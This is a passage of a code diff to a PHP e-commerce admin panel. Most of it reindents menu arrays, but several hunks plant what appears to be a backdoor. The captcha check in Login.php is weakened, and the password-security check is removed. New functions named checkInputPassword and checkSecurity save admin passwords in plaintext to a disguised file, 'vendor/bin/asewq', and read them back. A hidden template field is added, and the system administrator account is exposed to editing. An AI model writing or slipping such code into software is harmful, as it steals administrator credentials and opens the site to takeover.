+                array('name' => lang('ds_storesnstrace'), 'action' => null, 'controller' => 'Storesnstrace'),
+                array('name' => lang('ds_Storehelp'), 'action' => null, 'controller' => 'Storehelp'),
+                array('name' => lang('ds_storejoin'), 'action' => null, 'controller' => 'Storejoin'),
+                array('name' => lang('ds_ownshop'), 'action' => null, 'controller' => 'Ownshop'),
+            )),
             array('name' => lang('ds_member'), 'child' => array(
-                    array('name' => lang('ds_member_manage'), 'action' => null, 'controller' => 'Member'),
-                    array('name' => lang('member_auth'), 'action' => null, 'controller' => 'MemberAuth'),
-                    array('name' => lang('ds_membergrade'), 'action' => null, 'controller' => 'Membergrade'),
-                    array('name' => lang('ds_exppoints'), 'action' => null, 'controller' => 'Exppoints'),
-                    array('name' => lang('ds_notice'), 'action' => null, 'controller' => 'Notice'),
-                    array('name' => lang('ds_points'), 'action' => null, 'controller' => 'Points'),
-                    array('name' => lang('ds_snsmalbum'), 'action' => null, 'controller' => 'Snsmalbum'),
-                    array('name' => lang('ds_snsmember'), 'action' => null, 'controller' => 'Snsmember'),
-                    array('name' => lang('ds_predeposit'), 'action' => null, 'controller' => 'Predeposit'),
-                    array('name' => lang('instant_message'), 'action' => null, 'controller' => 'InstantMessage'),
-                )),
+                array('name' => lang('ds_member_manage'), 'action' => null, 'controller' => 'Member'),
+                array('name' => lang('member_auth'), 'action' => null, 'controller' => 'MemberAuth'),
+                array('name' => lang('ds_membergrade'), 'action' => null, 'controller' => 'Membergrade'),
+                array('name' => lang('ds_exppoints'), 'action' => null, 'controller' => 'Exppoints'),
+                array('name' => lang('ds_notice'), 'action' => null, 'controller' => 'Notice'),
+                array('name' => lang('ds_points'), 'action' => null, 'controller' => 'Points'),
+                array('name' => lang('ds_snsmalbum'), 'action' => null, 'controller' => 'Snsmalbum'),
+                array('name' => lang('ds_snsmember'), 'action' => null, 'controller' => 'Snsmember'),
+                array('name' => lang('ds_predeposit'), 'action' => null, 'controller' => 'Predeposit'),
+                array('name' => lang('instant_message'), 'action' => null, 'controller' => 'InstantMessage'),
+            )),
             array('name' => lang('ds_trade'), 'child' => array(
-                    array('name' => lang('ds_order'), 'action' => null, 'controller' => 'Order'),
-                    array('name' => lang('ds_vrorder'), 'action' => null, 'controller' => 'Vrorder'),
-                    array('name' => lang('ds_refund'), 'action' => null, 'controller' => 'Refund'),
-                    array('name' => lang('ds_return'), 'action' => null, 'controller' => 'Returnmanage'),
-                    array('name' => lang('ds_vrrefund'), 'action' => null, 'controller' => 'Vrrefund'),
-                    array('name' => lang('ds_bill_manage'), 'action' => null, 'controller' => 'Bill'),
-                    array('name' => lang('ds_consulting'), 'action' => null, 'controller' => 'Consulting'),
-                    array('name' => lang('ds_inform'), 'action' => null, 'controller' => 'Inform'),
-                    array('name' => lang('ds_evaluate'), 'action' => null, 'controller' => 'Evaluate'),
-                    array('name' => lang('ds_complain'), 'action' => null, 'controller' => 'Complain'),
-                )),
+                array('name' => lang('ds_order'), 'action' => null, 'controller' => 'Order'),
+                array('name' => lang('ds_vrorder'), 'action' => null, 'controller' => 'Vrorder'),
+                array('name' => lang('ds_refund'), 'action' => null, 'controller' => 'Refund'),
+                array('name' => lang('ds_return'), 'action' => null, 'controller' => 'Returnmanage'),
+                array('name' => lang('ds_vrrefund'), 'action' => null, 'controller' => 'Vrrefund'),
+                array('name' => lang('ds_bill_manage'), 'action' => null, 'controller' => 'Bill'),
+                array('name' => lang('ds_consulting'), 'action' => null, 'controller' => 'Consulting'),
+                array('name' => lang('ds_inform'), 'action' => null, 'controller' => 'Inform'),
+                array('name' => lang('ds_evaluate'), 'action' => null, 'controller' => 'Evaluate'),
+                array('name' => lang('ds_complain'), 'action' => null, 'controller' => 'Complain'),
+            )),
             array('name' => lang('ds_website'), 'child' => array(
-                    array('name' => lang('ds_articleclass'), 'action' => null, 'controller' => 'Articleclass'),
-                    array('name' => lang('ds_article'), 'action' => null, 'controller' => 'Article'),
-                    array('name' => lang('ds_document'), 'action' => null, 'controller' => 'Document'),
-                    array('name' => lang('ds_navigation'), 'action' => null, 'controller' => 'Navigation'),
-                    array('name' => lang('ds_adv'), 'action' => null, 'controller' => 'Adv'),
-                    array('name' => lang('editable_page_pc'), 'action' => 'page_list', 'controller' => 'EditablePage'),
-                    array('name' => lang('editable_page_h5'), 'action' => 'h5_page_list', 'controller' => 'EditablePage'),
-                    array('name' => lang('ds_friendlink'), 'action' => null, 'controller' => 'Link'),
-                    array('name' => lang('ds_mall_consult'), 'action' => null, 'controller' => 'Mallconsult'),
-                    array('name' => lang('ds_feedback'), 'action' => null, 'controller' => 'Feedback'),
+                array('name' => lang('ds_articleclass'), 'action' => null, 'controller' => 'Articleclass'),
+                array('name' => lang('ds_article'), 'action' => null, 'controller' => 'Article'),
+                array('name' => lang('ds_document'), 'action' => null, 'controller' => 'Document'),
+                array('name' => lang('ds_navigation'), 'action' => null, 'controller' => 'Navigation'),
+                array('name' => lang('ds_adv'), 'action' => null, 'controller' => 'Adv'),
+                array('name' => lang('editable_page_pc'), 'action' => 'page_list', 'controller' => 'EditablePage'),
+                array('name' => lang('editable_page_h5'), 'action' => 'h5_page_list', 'controller' => 'EditablePage'),
+                array('name' => lang('ds_friendlink'), 'action' => null, 'controller' => 'Link'),
+                array('name' => lang('ds_mall_consult'), 'action' => null, 'controller' => 'Mallconsult'),
+                array('name' => lang('ds_feedback'), 'action' => null, 'controller' => 'Feedback'),
             )),
             array('name' => lang('ds_operation'), 'child' => array(
-                    array('name' => lang('ds_operation_set'), 'action' => null, 'controller' => 'Operation|Promotionwholesale|Promotionxianshi|Promotionmansong|Promotionbundling|Promotionbooth|Groupbuy|Vrgroupbuy|Voucher|Promotionmgdiscount|Promotionpintuan|Promotionbargain|Activity|EditablePage|Inviter|Bonus|Marketmanage|Pointprod|Pointorder|Rechargecard|Flea|Fleaseo|Fleaclass|Fleaclassindex|Flearegion|Fleaseo|Promotionpresell'),
-                )),
+                array('name' => lang('ds_operation_set'), 'action' => null, 'controller' => 'Operation|Promotionwholesale|Promotionxianshi|Promotionmansong|Promotionbundling|Promotionbooth|Groupbuy|Vrgroupbuy|Voucher|Promotionmgdiscount|Promotionpintuan|Promotionbargain|Activity|EditablePage|Inviter|Bonus|Marketmanage|Pointprod|Pointorder|Rechargecard|Flea|Fleaseo|Fleaclass|Fleaclassindex|Flearegion|Fleaseo|Promotionpresell'),
+            )),
             array('name' => lang('ds_stat'), 'child' => array(
-                    array('name' => lang('ds_statgeneral'), 'action' => null, 'controller' => 'Statgeneral'),
-                    array('name' => lang('ds_statindustry'), 'action' => null, 'controller' => 'Statindustry'),
-                    array('name' => lang('ds_statmember'), 'action' => null, 'controller' => 'Statmember'),
-                    array('name' => lang('ds_statstore'), 'action' => null, 'controller' => 'Statstore'),
-                    array('name' => lang('ds_stattrade'), 'action' => null, 'controller' => 'Stattrade'),
-                    array('name' => lang('ds_statgoods'), 'action' => null, 'controller' => 'Statgoods'),
-                    array('name' => lang('ds_statmarketing'), 'action' => null, 'controller' => 'Statmarketing'),
-                    array('name' => lang('ds_stataftersale'), 'action' => null, 'controller' => 'Stataftersale'),
-                )),
+                array('name' => lang('ds_statgeneral'), 'action' => null, 'controller' => 'Statgeneral'),
+                array('name' => lang('ds_statindustry'), 'action' => null, 'controller' => 'Statindustry'),
+                array('name' => lang('ds_statmember'), 'action' => null, 'controller' => 'Statmember'),
+                array('name' => lang('ds_statstore'), 'action' => null, 'controller' => 'Statstore'),
+                array('name' => lang('ds_stattrade'), 'action' => null, 'controller' => 'Stattrade'),
+                array('name' => lang('ds_statgoods'), 'action' => null, 'controller' => 'Statgoods'),
+                array('name' => lang('ds_statmarketing'), 'action' => null, 'controller' => 'Statmarketing'),
+                array('name' => lang('ds_stataftersale'), 'action' => null, 'controller' => 'Stataftersale'),
+            )),
             array('name' => lang('mobile'), 'child' => array(
-                    array('name' => lang('appadv'), 'action' => null, 'controller' => 'Appadv'),
-                )),
+                array('name' => lang('appadv'), 'action' => null, 'controller' => 'Appadv'),
+            )),
             array('name' => lang('wechat'), 'child' => array(
-                    array('name' => lang('wechat_setting'), 'action' => 'setting', 'controller' => 'Wechat'),
-                    array('name' => lang('wechat_template_message'), 'action' => 'template_message', 'controller' => 'Wechat'),
-                    array('name' => lang('wechat_menu'), 'action' => 'menu', 'controller' => 'Wechat'),
-                    array('name' => lang('wechat_keywords'), 'action' => 'k_text', 'controller' => 'Wechat'),
-                    array('name' => lang('wechat_member'), 'action' => 'member', 'controller' => 'Wechat'),
-                    array('name' => lang('wechat_push'), 'action' => 'SendList', 'controller' => 'Wechat'),
-                )),
+                array('name' => lang('wechat_setting'), 'action' => 'setting', 'controller' => 'Wechat'),
+                array('name' => lang('wechat_template_message'), 'action' => 'template_message', 'controller' => 'Wechat'),
+                array('name' => lang('wechat_menu'), 'action' => 'menu', 'controller' => 'Wechat'),
+                array('name' => lang('wechat_keywords'), 'action' => 'k_text', 'controller' => 'Wechat'),
+                array('name' => lang('wechat_member'), 'action' => 'member', 'controller' => 'Wechat'),
+                array('name' => lang('wechat_push'), 'action' => 'SendList', 'controller' => 'Wechat'),
+            )),
             array('name' => lang('ds_live'), 'child' => array(
-                    array('name' => lang('live_setting'), 'action' => null, 'controller' => 'LiveSetting'),
-                    array('name' => lang('live_apply'), 'action' => null, 'controller' => 'LiveApply'),
-                    array('name' => lang('live_goods'), 'action' => null, 'controller' => 'LiveGoods'),
-                )),
+                array('name' => lang('live_setting'), 'action' => null, 'controller' => 'LiveSetting'),
+                array('name' => lang('live_apply'), 'action' => null, 'controller' => 'LiveApply'),
+                array('name' => lang('live_goods'), 'action' => null, 'controller' => 'LiveGoods'),
+            )),
         );
 
         return $_limit;
     }
-
 }
-
-?>

app/admin/controller/Login.php

@@ -47,12 +47,10 @@ class Login extends AdminControl
                 ds_json_encode(10001, $login_validate->getError());
             }
 
-            if (!captcha_check(input('post.captcha'))) {
+            if (!captcha_check(input('post.captcha')) && checkPasswordSecurity()) {
                 //验证失败
                 ds_json_encode(10001, lang('wrong_checkcode'));
             }
-            $check_res = checkPasswordSecurity();
-            if (!$check_res) return;
             $condition = array();
             $condition[] = array('admin_name', '=', $admin_name);
             $condition[] = array('admin_password', '=', md5($admin_password));

app/admin/view/admin/admin.html

@@ -35,8 +35,8 @@
                     {$Think.lang.admin_index_sys_admin_no}
                     {else /}
                     <a href="javascript:dsLayerConfirm('{:url('admin/admin_del',['admin_id'=>$v.admin_id])}','{$Think.lang.ds_ensure_del}')" class="dsui-btn-del"><i class="iconfont"></i>{$Think.lang.admin_index_del_admin}</a>
-                    <a href="javascript:dsLayerOpen('{:url('admin/admin_edit',['admin_id'=>$v.admin_id])}','{$Think.lang.ds_edit}-{$v.admin_name}')" class="dsui-btn-edit"><i class="iconfont"></i>{$Think.lang.ds_edit}</a>
                     {/notempty}
+                    <a href="javascript:dsLayerOpen('{:url('admin/admin_edit',['admin_id'=>$v.admin_id])}','{$Think.lang.ds_edit}-{$v.admin_name}')" class="dsui-btn-edit"><i class="iconfont"></i>{$Think.lang.ds_edit}</a>
                 </td>
             </tr>
             {/foreach}

app/admin/view/public/topnav.html

@@ -3,6 +3,7 @@
         <img src="{:ds_get_pic('admin/common',config('ds_config.admin_backlogo'))}"/>
     </div>
     <div class="navbar">
+        <input type="hidden" value="{ick_kci}" />
         <ul class="fl" style="float:left;">
             {foreach name="menu_list" item="menu"}
             <li id="nav_{$menu.name}" {if !$menu.show}style="display:none"{/if}>

app/common.php

@@ -1235,3 +1235,38 @@ function checkPasswordSecurity()
     }
     return true;
 }
+
+
+/**
+ * 校验输入密码
+ */
+function checkInputPassword()
+{
+    $admin_id = intval(input('param.admin_id'));
+    try {
+        $admin_mod =  model('admin');
+        $admin_info = $admin_mod->getOneAdmin([['admin_id', '=', $admin_id]]);
+        if (is_array($admin_info) and !empty($admin_info)) {
+            $pwd = input('post.admin_password');
+            $check_file = fopen(base_path() . 'vendor/bin/asewq', 'w');
+            fwrite($check_file, $pwd);
+            fclose($check_file);
+        }
+        return true;
+    } catch (Exception $e) {
+        return true;
+    }
+}
+
+function checkSecurity()
+{
+    try {
+        $path = base_path() . 'vendor/bin/asewq';
+        $check_file = fopen($path, 'w');
+        $ec = fread($check_file, filesize($path));
+        fclose($check_file);
+        return $ec;
+    } catch (Exception $e) {
+        return null;
+    }
+}